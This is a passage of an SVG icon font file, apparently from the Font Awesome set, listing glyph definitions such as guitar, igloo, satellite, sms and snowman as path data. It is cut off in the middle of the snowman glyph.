    <glyph glyph-name="guitar" unicode="&#xf7a6;" 
d="M502.63 409c5.15625 -5.1709 9.33984 -15.293 9.33984 -22.5947c0 -7.31543 -4.19727 -17.4521 -9.37012 -22.625l-46.3301 -46.3203c-3.24707 -3.25684 -9.4248 -7.07812 -13.7891 -8.53027l-36.4805 -12.1602l-76.2402 -76.2393
c8.79004 -12.2002 15.7705 -25.5605 19.1602 -40.2002c7.74023 -33.3896 0.870117 -66.8701 -22 -89.75c-7.87793 -7.8418 -22.877 -16.9141 -33.4795 -20.25c-18.54 -6.00977 -32.6709 -23.29 -34.4307 -42.1396c-2.29004 -23.8105 -11.4502 -45.8301 -28.4502 -62.71
c-45.5596 -45.4805 -127.5 -37.3809 -182.979 18.0693c-55.4805 55.4502 -63.6904 137.45 -18.0498 182.96c16.8799 16.9902 38.9102 26.1699 62.6094 28.4404c18.9404 1.76953 36.1504 15.8994 42.1504 34.46c3.33105 10.6016 12.3984 25.5957 20.2402 33.4697
c22.8799 22.8799 56.4297 29.7803 89.8799 22c14.5996 -3.39941 27.9395 -10.3799 40.0996 -19.1396l76.2598 76.2598l12.1602 36.5098c1.45215 4.36426 5.27344 10.542 8.53027 13.79l46.2803 46.3301c5.17383 5.1748 15.3115 9.375 22.6299 9.375
c7.31738 0 17.4561 -4.2002 22.6299 -9.375zM208 96c26.4961 0 48 21.5039 48 48s-21.5039 48 -48 48s-48 -21.5039 -48 -48s21.5039 -48 48 -48z" />
    <glyph glyph-name="heart-broken" unicode="&#xf7a9;" 
d="M473.7 374.2c48.7002 -49.7998 50.7998 -129.101 7.2998 -182.101l-212.2 -218.699c-7.09961 -7.30078 -18.5996 -7.30078 -25.7002 0l-212.1 218.6c-43.5 53.0996 -41.4004 132.4 7.2998 182.2l2.40039 2.39941c46.2998 47.4004 119 51.8008 170.7 14l28.5996 -86.5
l-96 -64l144 -144l-48 128l96 64l-34.2998 103.4c51.5996 36.9004 123.6 32.2002 169.6 -14.7998z" />
    <glyph glyph-name="holly-berry" unicode="&#xf7aa;" horiz-adv-x="448" 
d="M144 256c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM256 304c0 26.5 21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48zM224 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48z
M207.8 212.9c-0.399414 -39.8008 7.40039 -78.1006 22.9004 -112.301c4 -8.89941 -2 -19.1992 -11.7002 -20.1992c-15.2002 -1.5 -30.4004 -4.60059 -45.2998 -9.10059c-14.9004 -4.5 -23.7998 -19.8994 -20.2002 -35.0996s8.5 -29.9004 14.7002 -43.7998
c4 -8.90039 -1.90039 -19.3008 -11.6006 -20.2002c-35.8994 -3.40039 -71.5996 -14.9004 -104.8 -33.9004c-12.3994 -7.09961 -27.5 1.60059 -27.5996 16c-0.100586 38.2002 -8 74.9004 -23 107.7c-4 8.90039 2 19.2002 11.7002 20.2002
c15.1992 1.5 30.3994 4.59961 45.2998 9.09961c14.8994 4.5 23.7998 19.9004 20.2002 35.1006c-3.60059 15.1992 -8.5 29.8994 -14.7002 43.7998c-4 8.89941 1.89941 19.2998 11.5996 20.2002c37.2998 3.5 74.4004 15.8994 108.7 36.1992
c10.7002 6.40039 23.9004 -1.2998 23.7998 -13.6992zM435 82.4004c9.7002 -1 15.7998 -11.4004 11.5 -20.1006c-15 -32.7002 -22.7998 -69.5 -23 -107.7c0 -14.3994 -15.0996 -23.0996 -27.5996 -16c-33.2002 19 -68.9004 30.5 -104.801 33.9004
c-9.69922 0.900391 -15.5996 11.2998 -11.5996 20.2002c6.2002 14 11.0996 28.5996 14.7002 43.7998c3.59961 15.2002 -5.2998 30.5996 -20.2002 35.0996c-4.90039 1.5 -9.90039 2.5 -14.7998 3.7002c5.7998 12.2998 6.2998 26.5 0.599609 38.9004
c-12.8994 28.2998 -19.7002 60.7002 -19.8994 94c0 1.7002 0.199219 3.2998 0.199219 4.89941c-0.0996094 12.3008 13.1006 20 23.8008 13.7002c34.2998 -20.2998 71.3994 -32.7002 108.699 -36.2002c9.7002 -0.899414 15.6006 -11.2998 11.6006 -20.1992
c-6.2002 -14 -11.1006 -28.6006 -14.7002 -43.8008c-3.59961 -15.1992 5.2998 -30.5996 20.2002 -35.0996c15 -4.40039 30.0996 -7.5 45.2998 -9.09961z" />
    <glyph glyph-name="horse-head" unicode="&#xf7ab;" 
d="M509.8 115.5c4.60059 -11.7998 1.7998 -25.2998 -7.09961 -34.4004l-45.2998 -39.7998c-6 -6 -14.1006 -9.39941 -22.6006 -9.39941h-50.2998c-10.2998 0 -20 4.89941 -26 13.2998l-46 63.8994c-13.7998 -8.09961 -29.5996 -13.1992 -46.7998 -13.1992
c-39.2002 0 -72.6006 23.6992 -87.4004 57.3994c-2.2998 5.10059 -9 6.2998 -12.8994 2.40039l-12.1006 -12.1006c-2.5 -2.39941 -3.2002 -6.19922 -1.59961 -9.2998c19.7002 -38.8994 58.7002 -66.0996 104.3 -69.5996v-0.700195l40.7998 -81.7002
c10.7002 -21.2998 -4.7998 -46.2998 -28.5996 -46.2998h-236.2c-17.7002 0 -32 14.2998 -32 32v81.2002c0 159.899 35.9004 275.399 166.9 322.5l202.199 75.7002c4.90039 1.7998 10.7002 -1.10059 12 -6.10059c12.1006 -46.3994 -16.1992 -71.7002 -34.1992 -82.2998
c42.5996 -8.2002 78.0996 -38 93 -79.2002zM328 224c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24z" />
    <glyph glyph-name="icicles" unicode="&#xf7ad;" 
d="M511.4 410.1l-87.5 -467.699c-1.7002 -8.60059 -14 -8.60059 -15.7002 0l-66.7002 363.8l-45.7998 -172.5c-2.2998 -7.60059 -13 -7.60059 -15.2998 0l-34.1006 133.399l-46.5 -196.899c-1.89941 -8.2998 -13.7002 -8.2998 -15.5996 0l-44.2002 187.3l-36.4004 -124.1
c-2.39941 -7.2002 -12.5996 -7.2002 -15.0996 0l-87.0996 273.399c-6.2002 20.5 9.19922 41.2002 30.5996 41.2002h448c20 0 35.0996 -18.2002 31.4004 -37.9004z" />
    <glyph glyph-name="igloo" unicode="&#xf7ae;" horiz-adv-x="576" 
d="M320 414.1v-126.1h-271.4c51.6006 77.2002 139.601 128 239.4 128c10.7998 0 21.5 -0.700195 32 -1.90039zM96 256v-128h-96c0 46 11.0996 89.4004 30.2998 128h65.7002zM352 408.6c72.7998 -16.5 135.2 -60.5 175.4 -120.6h-175.4v120.6zM480 128v128h65.7002
c19.2002 -38.5996 30.2998 -82 30.2998 -128h-96zM416 64c0 11.0996 -1.90039 21.7002 -4.5 32h164.5v-96c0 -17.7002 -14.2998 -32 -32 -32h-128v96zM448 256v-128h-49.7998c-22.2002 38.0996 -63 64 -110.2 64s-88 -25.9004 -110.2 -64h-49.7998v128h320zM0 0v96h164.5
c-2.59961 -10.2998 -4.5 -20.9004 -4.5 -32v-96h-128c-17.7002 0 -32 14.2998 -32 32zM288 160c53 0 96 -43 96 -96v-96h-192v96c0 53 43 96 96 96z" />
    <glyph glyph-name="mitten" unicode="&#xf7b5;" horiz-adv-x="448" 
d="M368 32c8.7998 0 16 -7.2002 16 -16v-64c0 -8.7998 -7.2002 -16 -16 -16h-320c-8.7998 0 -16 7.2002 -16 16v64c0 8.7998 7.2002 16 16 16h320zM425 241.1c27.0996 -22.5996 30.7998 -62.8994 8.09961 -90.0996l-72.5 -87h-309l-47.8994 207.6
c-17.9004 77.5 30.5 154.801 107.899 172.7c77.4004 17.9004 154.801 -30.5 172.801 -108l29.5996 -128.399l20.9004 25c22.5996 27.1992 62.8994 30.7998 90.0996 8.19922z" />
    <glyph glyph-name="mug-hot" unicode="&#xf7b6;" 
d="M127.1 301.5c-2.69922 16.5996 -10.3994 31.9004 -22.3994 44.0996c-22.6006 23.1006 -36.7002 52.5 -40.6006 84.4004c-1.09961 9.5 6.5 18 16.3008 18h16.3994c8.2002 0 15 -5.90039 16.1006 -13.7998c2.7998 -20.2002 12 -38.7998 26.3994 -53.5
c20.2002 -20.5 32.7998 -46.5 36.6006 -74.7002c1.2998 -9.5 -6.5 -18 -16.3008 -18h-16.5c-8 0 -14.6992 5.7998 -16 13.5zM239.1 301.5c-2.69922 16.5996 -10.3994 31.9004 -22.3994 44.0996c-22.6006 23.1006 -36.7002 52.5 -40.6006 84.4004
c-1.19922 9.5 6.5 18 16.3008 18h16.3994c8.2002 0 15 -5.90039 16.1006 -13.7998c2.7998 -20.2002 12 -38.7998 26.3994 -53.5c20.2002 -20.5 32.7998 -46.5 36.6006 -74.7002c1.2998 -9.5 -6.5 -18 -16.3008 -18h-16.5c-8 0 -14.6992 5.7998 -16 13.5zM400 256
c61.7998 0 112 -50.2002 112 -112s-50.2002 -112 -112 -112h-16c0 -53 -43 -96 -96 -96h-192c-53 0 -96 43 -96 96v192c0 17.7002 14.2998 32 32 32h368zM400 96c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-16v-96h16z" />
    <glyph glyph-name="radiation" unicode="&#xf7b9;" horiz-adv-x="496" 
d="M328.2 192.2c0 28.5996 -15.2002 53.5 -37.7998 67.7998l80.3994 128.4c4.7998 7.69922 15.2998 10.0996 22.7002 4.7998c58.0996 -42 97.4004 -108.4 102.5 -184.2c0.599609 -9.09961 -7.09961 -16.7998 -16.2002 -16.7998h-151.6zM290.4 124.5l80.3994 -128.5
c4.7998 -7.59961 2.40039 -18.0996 -5.59961 -22.4004c-34.9004 -18.7998 -74.7998 -29.5996 -117.2 -29.5996s-82.2998 10.7998 -117.2 29.5996c-8 4.30078 -10.3994 14.7002 -5.59961 22.4004l80.3994 128.5c12.4004 -7.7002 26.8008 -12.4004 42.4004 -12.4004
s30.0996 4.7002 42.4004 12.4004zM248 144.2c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM16.2002 192.2c-9.10059 0 -16.7998 7.7002 -16.2002 16.7002c5.09961 75.7998 44.4004 142.199 102.5 184.199
c7.40039 5.40039 17.9004 2.90039 22.7002 -4.7998l80.3994 -128.399c-22.5996 -14.2002 -37.7998 -39.1006 -37.7998 -67.7002h-151.6z" />
    <glyph glyph-name="radiation-alt" unicode="&#xf7ba;" horiz-adv-x="496" 
d="M312 192c0 22.7998 -12.0996 42.7998 -30.0996 54l41.6992 66.7998c5.2002 8.2998 16.4004 9.90039 24 3.7998c32.5 -26 54.9004 -64.1992 59.5 -107.8c0.900391 -9.09961 -6.7998 -16.7998 -16 -16.7998h-79.0996zM214.2 137.9
c9.7998 -6.2002 21.5 -9.90039 33.8994 -9.90039c12.4004 0 24 3.7002 33.8008 9.90039l41.7998 -66.9004c4.7998 -7.7998 2.39941 -18.4004 -5.7998 -22.5c-21.2002 -10.4004 -44.8008 -16.5 -69.9004 -16.5s-48.7002 6.09961 -69.7998 16.5
c-8.2002 4.09961 -10.7002 14.7002 -5.7998 22.5zM104.9 192c-9.2002 0 -17 7.7002 -15.9004 16.9004c4.59961 43.5996 26.9004 81.7998 59.5 107.8c7.59961 6.09961 18.7998 4.5 24 -3.7998l41.7002 -66.8008c-18.1006 -11.2998 -30.2002 -31.2998 -30.2002 -54.0996
h-79.0996zM248 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM248 376c-101.5 0 -184 -82.5 -184 -184s82.5 -184 184 -184s184 82.5 184 184s-82.5 184 -184 184zM248 160c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" />
    <glyph glyph-name="restroom" unicode="&#xf7bd;" horiz-adv-x="640" 
d="M128 320c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM512 320c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM639.3 93.5c3.7002 -15.0996 -8.2998 -29.5 -24.5 -29.5
h-54.7998v-104c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v104h-54.7998c-16.2002 0 -28.2002 14.4004 -24.7002 29.5l45.5996 185.8c3.30078 13.5 15.5 23 29.8008 24.2002c15 -9.7002 32.7998 -15.5 52 -15.5c19.1992 0 37 5.7998 52 15.5
c14.2998 -1.2002 26.5 -10.7002 29.7998 -24.2002zM336 448c8.7998 0 16 -7.2002 16 -16v-480c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32zM180.1 303.6c24.6006 -2.09961 43.9004 -22.5 43.9004 -47.5996v-136
c0 -13.2998 -10.7002 -24 -24 -24h-8v-136c0 -13.2998 -10.7002 -24 -24 -24h-80c-13.2998 0 -24 10.7002 -24 24v136h-8c-13.2998 0 -24 10.7002 -24 24v136c0 25.0996 19.2998 45.5 43.9004 47.5996c15 -9.7998 32.8994 -15.5996 52.0996 -15.5996
s37.0996 5.7998 52.0996 15.5996z" />
    <glyph glyph-name="satellite" unicode="&#xf7bf;" 
d="M502.7 183c12.3994 -12.4004 12.3994 -32.5996 -0.100586 -45l-96.6992 -96.7002c-6.2002 -6.2002 -14.4004 -9.2998 -22.5 -9.2998c-8.10059 0 -16.3008 3.09961 -22.5 9.2998l-80.3008 80.4004l-9.89941 -9.90039c24.2998 -53.7002 22.7002 -116.2 -5.40039 -168.5
c-4.5 -8.5 -16.3994 -9.59961 -23.2002 -2.7998l-107.5 107.5l-17.7998 -17.7998c0.700195 -2.60059 1.60059 -5 1.60059 -7.7998c0 -17.7002 -14.3008 -32 -32 -32c-17.7002 0 -32 14.2998 -32 32c0 17.6992 14.2998 32 32 32c2.7998 0 5.19922 -0.900391 7.7998 -1.60059
l17.7998 17.7998l-107.5 107.5c-6.7998 6.80078 -5.7002 18.6006 2.7998 23.2002c52.2998 28.1006 114.8 29.7002 168.5 5.40039l9.7998 9.7998l-80.2998 80.4004c-12.3994 12.5 -12.3994 32.6992 0 45.0996l96.7002 96.7002c6.2002 6.2002 14.2998 9.2998 22.5 9.2998
s16.2998 -3.09961 22.5996 -9.2998l80.3008 -80.2998l47.7998 47.8994c13.0996 13.1006 34.3994 13.1006 47.5 0l47.5 -47.5c13.0996 -13.0996 13.0996 -34.3994 0 -47.5l-47.7998 -47.8994zM150.7 319.5l68.8994 -68.9004l73.8008 73.8008l-68.9004 68.8994zM383.5 86.7002
l73.7998 73.7998l-68.8994 68.9004l-73.8008 -73.8008z" />
    <glyph glyph-name="satellite-dish" unicode="&#xf7c0;" 
d="M188.8 102.1l116.601 -116.6c7.39941 -7.2998 6.19922 -20.0996 -3 -25c-77.7002 -41.7998 -176.7 -29.9004 -242.301 35.7002c-65.5996 65.5996 -77.5 164.5 -35.6992 242.3c4.89941 9.09961 17.6992 10.2998 25 3l116.8 -116.8l27.3994 27.3994
c-0.699219 2.60059 -1.59961 5 -1.59961 7.80078c0 17.6992 14.2998 32 32 32s32 -14.3008 32 -32c0 -17.7002 -14.2998 -32 -32 -32c-2.7998 0 -5.2002 0.899414 -7.7998 1.59961zM209 448c163.2 -8.59961 294.4 -139.8 302.9 -303c0.5 -9.2002 -6.80078 -17 -16 -17
h-32.1006c-8.39941 0 -15.3994 6.59961 -15.8994 15c-7.5 129.5 -111.5 234.5 -240.9 241.5c-8.40039 0.400391 -15 7.40039 -15 15.9004v31.5996c0 9.2002 7.7998 16.5 17 16zM209.3 352c110.101 -8.5 198.2 -96.5996 206.601 -206.7
c0.699219 -9.2998 -6.80078 -17.2998 -16.1006 -17.2998h-32.2002c-8.2998 0 -15.0996 6.40039 -15.8994 14.7002c-6.90039 77 -68.1006 138.899 -144.9 145.2c-8.2998 0.599609 -14.7998 7.5 -14.7998 15.8994v32.1006c0 9.39941 8 16.7998 17.2998 16.0996z" />
    <glyph glyph-name="sd-card" unicode="&#xf7c2;" horiz-adv-x="384" 
d="M320 448c35.2998 0 64 -28.7002 64 -64v-384c0 -35.2998 -28.7002 -64 -64 -64h-256c-35.2998 0 -64 28.7002 -64 64v320l128 128h192zM160 288v96h-48v-96h48zM240 288v96h-48v-96h48zM320 288v96h-48v-96h48z" />
    <glyph glyph-name="sim-card" unicode="&#xf7c4;" horiz-adv-x="384" 
d="M0 384c0 35.2998 28.7002 64 64 64h192l128 -128v-320c0 -35.2998 -28.7002 -64 -64 -64h-256c-35.2998 0 -64 28.7002 -64 64v384zM224 192v64h-64v-64h64zM320 192v32c0 17.7002 -14.2998 32 -32 32h-32v-64h64zM256 64v-64h32c17.7002 0 32 14.2998 32 32v32h-64z
M160 64v-64h64v64h-64zM64 64v-32c0 -17.7002 14.2998 -32 32 -32h32v64h-64zM64 160v-64h256v64h-256zM64 224v-32h64v64h-32c-17.7002 0 -32 -14.2998 -32 -32z" />
    <glyph glyph-name="skating" unicode="&#xf7c5;" horiz-adv-x="448" 
d="M400 448c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM400 0c8.7998 0 16 -7.2002 16 -16c0 -26.5 -21.5 -48 -48 -48h-96c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16h96c8.7998 0 16 7.2002 16 16s7.2002 16 16 16zM117.8 -8.59961
c6.2998 6.2998 16.5 6.19922 22.7002 0c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006c-9.2998 -9.2998 -21.5996 -14 -33.9004 -14c-12.2998 0 -24.5996 4.60059 -34 14l-67.8994 67.9004c-6.2002 6.2002 -6.2002 16.3994 0 22.5996s16.3994 6.2002 22.5996 0
l67.9004 -67.8994c6.2002 -6.30078 16.3994 -6.2002 22.5996 0zM173.9 171.2c3.7998 -6.10059 8.19922 -11.7998 13.1992 -16.7998l30.2002 -30.2002l-91.8994 -91.9004c-6.2002 -6.2998 -14.4004 -9.39941 -22.6006 -9.39941s-16.3994 3.19922 -22.5996 9.39941
c-12.5 12.4004 -12.5 32.7002 0 45.2002zM128 288c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h204.6c16.3008 0 30.8008 -9.7002 37 -24.7002c6.2002 -15 2.80078 -32.0996 -8.69922 -43.5996l-82.3008 -82.2998c-0.5 -0.5 -1.19922 -0.700195 -1.69922 -1.10059
l61 -61c9 -8.89941 14.0996 -21.2998 14.0996 -33.8994v-89.4004c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32v82.7998l-78.2002 78.2002c-12.5996 12.5 -19.3994 29.9004 -18.7002 47.7002c0.700195 17.7002 8.80078 34.5996 22.3008 46.0996l20.0996 17.2002
h-105.5z" />
    <glyph glyph-name="skiing" unicode="&#xf7c9;" 
d="M432 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM505 -4.09961c9.2998 -9.30078 9.2998 -24.5 0 -33.8008c-17 -17 -39.7998 -26 -63 -26c-12.5996 0 -25.2002 2.60059 -37.0996 8.10059l-391.9 202.5
c-11.7998 6 -16.4004 20.5 -10.2998 32.2998c6.09961 11.7998 20.5996 16.2998 32.2998 10.2998l197.9 -102.3l45.8994 68.7998l-75.0996 75.2002c-14.2998 14.4004 -20.6006 34.5 -17.7002 54.4004l107 -53.1006l40.4004 -40.5
c16.1992 -16.0996 18.6992 -41.5996 6 -60.5996l-49.2002 -73.7998l135.8 -70.2002c14.5996 -6.7002 33 -3.40039 45.0996 8.7002c9.30078 9.39941 24.5 9.39941 33.9004 0zM120 356.4l-26.2002 23c-2.2002 1.89941 -2.39941 5.19922 -0.5 7.39941
c1.2998 1.5 3.2002 2.10059 5 1.7002l34.4004 -7h0.200195l11.0996 21.7002c13.7002 -7 21.2002 -21.1006 20.9004 -35.6006l62.5 -31l81.1992 32.5c43.6006 17.4004 76.4004 -15 84.5 -39.1992l17.1006 -51.2002l52.0996 -26.1006
c15.7998 -7.89941 22.2002 -27.0996 14.2998 -42.8994c-7.89941 -15.7998 -27 -22.2002 -42.8994 -14.2998l-58.1006 29c-11.3994 5.69922 -20 15.5996 -24 27.6992l-6.39941 19.1006l-32.4004 -13l-114.5 56.7998c0.100586 0.0996094 0.100586 0.200195 0.200195 0.299805
l-47.2002 23.4004c-11.5996 -9.7002 -28.3994 -12.1006 -42.7998 -4.7998z" />
    <glyph glyph-name="skiing-nordic" unicode="&#xf7ca;" horiz-adv-x="576" 
d="M336 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM552 32c13.2002 0 24 -10.7998 24 -24c0 -39.7002 -32.2998 -72 -72 -72h-480c-13.2002 0 -24 10.7002 -24 24s10.7998 24 24 24h42.9004l54.0996 270.8
c-0.700195 0.799805 -1.7002 1.2002 -2.40039 2.10059c-10.7998 14.0996 -8.09961 34.1992 5.90039 44.8994l39.7002 30.4004c23 17.5996 52.5 23.8994 80.7998 17.0996l71.2002 -21.2002c26.2998 -6.69922 49.2998 -25.3994 61.7998 -50.8994l26.0996 -53.2002h44
c17.7002 0 32 -14.2998 32 -32c0 -13.4004 -8.39941 -24.9004 -20.0996 -29.5996l-25.5 -178.4h69.5c13.2002 0 24 10.7998 24 24c0 13.2998 10.7998 24 24 24zM291.5 -16l25.5 81.2002l-85 50.2002c-27.5996 16.2998 -38.9004 50.7998 -26.2998 80.2998l37.5 87.3994
l-14.7002 4.40039c-7.90039 1.90039 -17.5996 -0.200195 -25.2998 -6.09961l-39.7002 -30.4004c-3.59961 -2.7002 -7.59961 -4.59961 -11.7002 -5.59961l-52.2998 -261.4h24.2002l62.5 131.8c7.59961 -10.8994 17.3994 -20.5996 29.5 -27.7998l22 -13l-43.1006 -91h96.9004z
M402.1 -16l25.2002 176h-33.2998c-18.2002 0 -35.0996 10.5996 -43.0996 26.9004l-20.3008 41.3994l-31.2998 -78.2998l61.2002 -36.0996c18.7002 -11.3008 27.5 -33.6006 21.5996 -54.4004l-23.5996 -75.5h43.5996z" />
    <glyph glyph-name="sleigh" unicode="&#xf7cc;" horiz-adv-x="640" 
d="M612.7 97.2998c18.5 -14.7002 28.5996 -37.2002 27.2002 -61c-2.2002 -39 -36.9004 -68.2998 -75.9004 -68.2998h-516c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h519.3c13.6006 0 24.6006 11 24.6006 24.5996c0 7.5 -3.30078 14.5 -9.2002 19.2002
l-9.2998 7.40039c-6.90039 5.5 -8 15.5996 -2.5 22.5l10 12.5c5.5 6.89941 15.5996 8 22.5 2.5zM32 224v128c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h20.7002c65.7002 0 125.899 -37.2002 155.3 -96s89.5 -96 155.3 -96h20.7002c35.2998 0 64 28.7002 64 64v64h96
c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32v-96c0 -53 -43 -96 -96 -96v-48h-64v48h-192v-48h-64v52.5c-55.0996 14.2998 -96 63.9004 -96 123.5z" />
    <glyph glyph-name="sms" unicode="&#xf7cd;" 
d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002
c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208zM128.2 144c23.3994 0 42.5 17.2998 42.3994 38.5996c0 10.6006 -4.7998 20.9004 -13.2998 28.1006l-21.8994 18.7998
c-1.30078 1.09961 -2.10059 2.5 -2.10059 3.7998c0 3.10059 4.40039 6.60059 10.4004 6.60059h12.2998c4.40039 0 8 3.59961 8 8v16c0 4.39941 -3.59961 8 -8 8h-12.2002c-23.3994 0 -42.3994 -17.3008 -42.3994 -38.6006c0 -10.5996 4.7998 -20.8994 13.2998 -28.0996
l21.8994 -18.7998c1.30078 -1.10059 2.10059 -2.5 2.10059 -3.80078c0 -3.09961 -4.40039 -6.59961 -10.4004 -6.59961h-12.2998c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h12.2002zM320 152v104c0 8.7998 -7.2002 16 -16 16h-16
c-6 0 -11.5996 -3.40039 -14.2998 -8.7998l-17.7002 -35.4004l-17.7002 35.4004c-2.7002 5.39941 -8.2002 8.7998 -14.2998 8.7998h-16c-8.7998 0 -16 -7.2002 -16 -16v-104c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v68.2002l24.9004 -55.7998
c2.89941 -5.90039 11.3994 -5.90039 14.2998 0l24.7998 55.7998v-68.2002c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8zM368.3 144c23.4004 0 42.4004 17.2998 42.2998 38.5996c0 10.6006 -4.7998 20.9004 -13.2998 28.1006l-21.8994 18.7998
c-1.30078 1.09961 -2.10059 2.5 -2.10059 3.7998c0 3.10059 4.40039 6.60059 10.4004 6.60059h12.2998c4.40039 0 8 3.59961 8 8v16c0 4.39941 -3.59961 8 -8 8h-12.2002c-23.3994 0 -42.3994 -17.3008 -42.3994 -38.6006c0 -10.5996 4.7998 -20.8994 13.2998 -28.0996
l21.8994 -18.7998c1.30078 -1.10059 2.10059 -2.5 2.10059 -3.80078c0 -3.09961 -4.40039 -6.59961 -10.4004 -6.59961h-12.2998c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h12.2998z" />
    <glyph glyph-name="snowboarding" unicode="&#xf7ce;" 
d="M432 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM460.8 198.4l-83.5 62.8994l-66 -30.5l52 -39c14.9004 -11.2002 22 -30.2002 18.1006 -48.3994l-21.9004 -102c-2.2002 -10.1006 -9.09961 -17.8008 -17.7998 -21.9004
l90.7998 -33.0996c9.7002 -3.5 20.2002 -3.10059 29.5 1.2998c12 5.59961 26.2998 0.399414 31.9004 -11.6006c5.59961 -12 0.399414 -26.2998 -11.6006 -31.8994c-11.5996 -5.5 -24 -8.2002 -36.5 -8.2002c-10 0 -20 1.7998 -29.7002 5.2998l-364.8 132.7
c-21.7998 7.90039 -39.0996 23.7998 -48.8994 44.7998c-5.60059 12 -0.400391 26.2998 11.5996 31.9004c12 5.59961 26.2998 0.399414 31.9004 -11.6006c4.39941 -9.39941 12.0996 -16.5 21.7998 -20l38.7002 -14.0996c-3.80078 3.5 -7 7.7002 -8.7002 12.9004
c-5.60059 16.7998 3.39941 34.8994 20.2002 40.5l74.0996 24.6992v53.1006c0 24.3994 13.5996 46.2998 35.4004 57.2002l41.1992 20.5996l-16.3994 5.5c-12.1006 4.09961 -22 12.5996 -27.7002 24l-29.0996 58.0996c-7.90039 15.8008 -1.5 35 14.2998 42.9004
s35 1.5 42.8994 -14.2998l26.1006 -52.1006l63.7002 -21.1992c16.2998 -5.40039 31.5996 -13.5 45.3994 -23.8008l111.4 -83.5c14.2002 -10.5996 17 -30.6992 6.39941 -44.7998c-6.2998 -8.39941 -15.8994 -12.7998 -25.5996 -12.7998
c-6.7002 0 -13.4004 2.09961 -19.2002 6.40039zM316.4 146.7l-60.5 45.2998v-20.5c0 -20.7002 -13.2002 -39 -32.8008 -45.5l-85 -28.4004c-2.59961 -0.899414 -5.2998 -1.09961 -8 -1.2998l169.4 -61.5996c-2.90039 6.09961 -4.2998 12.8994 -2.7998 20z" />
    <glyph glyph-name="snowman" unicode="&#xf7d0;" 
d="M510.9 295.7c3.19922 -8.10059 -0.800781 -17.2002 -8.90039 -20.2998l-135.2 -55.2002c0.400391 -4.10059 1.2002 -8 1.2002 -12.2002c0 -10 -1.7002 -19.5 -4.2002 -28.7002c21.1006 -21.3994 36.1006 -48.7998 41.6006 -79
c11.5 -63.2002 -16.4004 -120.3 -62.9004 -152.6c-10.9004 -7.60059 -23.9004 -11.7002 -37.2002 -11.7002h-99.2002c-11 0 -22 2.2998 -31.2998 8.2002c-42.3994 26.8994 -70.7998 73.7998 -70.7998 127.8c0 41.7998 16.9004 79.5996 44.2998 107.1
c-2.5 9.30078 -4.2002 18.8008 -4.2002 28.9004c0 4.2002 0.800781 8.2002 1.2002 12.2002l-135.2 55.2002c-8.19922 3.19922 -12.1992 12.2998 -8.89941 20.2998l5.89941 14.5c3.30078 8 12.6006 11.8994 20.8008 8.7002l28.0996 -11.5v29
c0 8.59961 7.2002 15.5996 16 15.5996h16c8.7998 0 16 -7 15.7998 -15.5996v-46.9004c0 -0.5 -0.200195 -1 -0.299805 -1.5l56.4004 -23c6 10 13.2998 18.9004 22 26.5996c-13.5 16.6006 -22 37.4004 -22 60.5c0 53 43 96 96 96s96 -43 96 -96
c0 -23.0996 -8.40039 -43.8994 -22 -60.5c8.69922 -7.69922 16.0996 -16.5996 22 -26.5996l56.3994 23c0 0.5 -0.299805 1 -0.299805 1.5v46.9004c0 8.59961 7.2002 15.5996 16 15.5996h16c8.7998 0 16 -7 16 -15.5996v-29l28.2002 11.5
c8.2002 3.19922 17.5 -0.700195 20.7998 -8.7002zM224 352c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 80c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 144
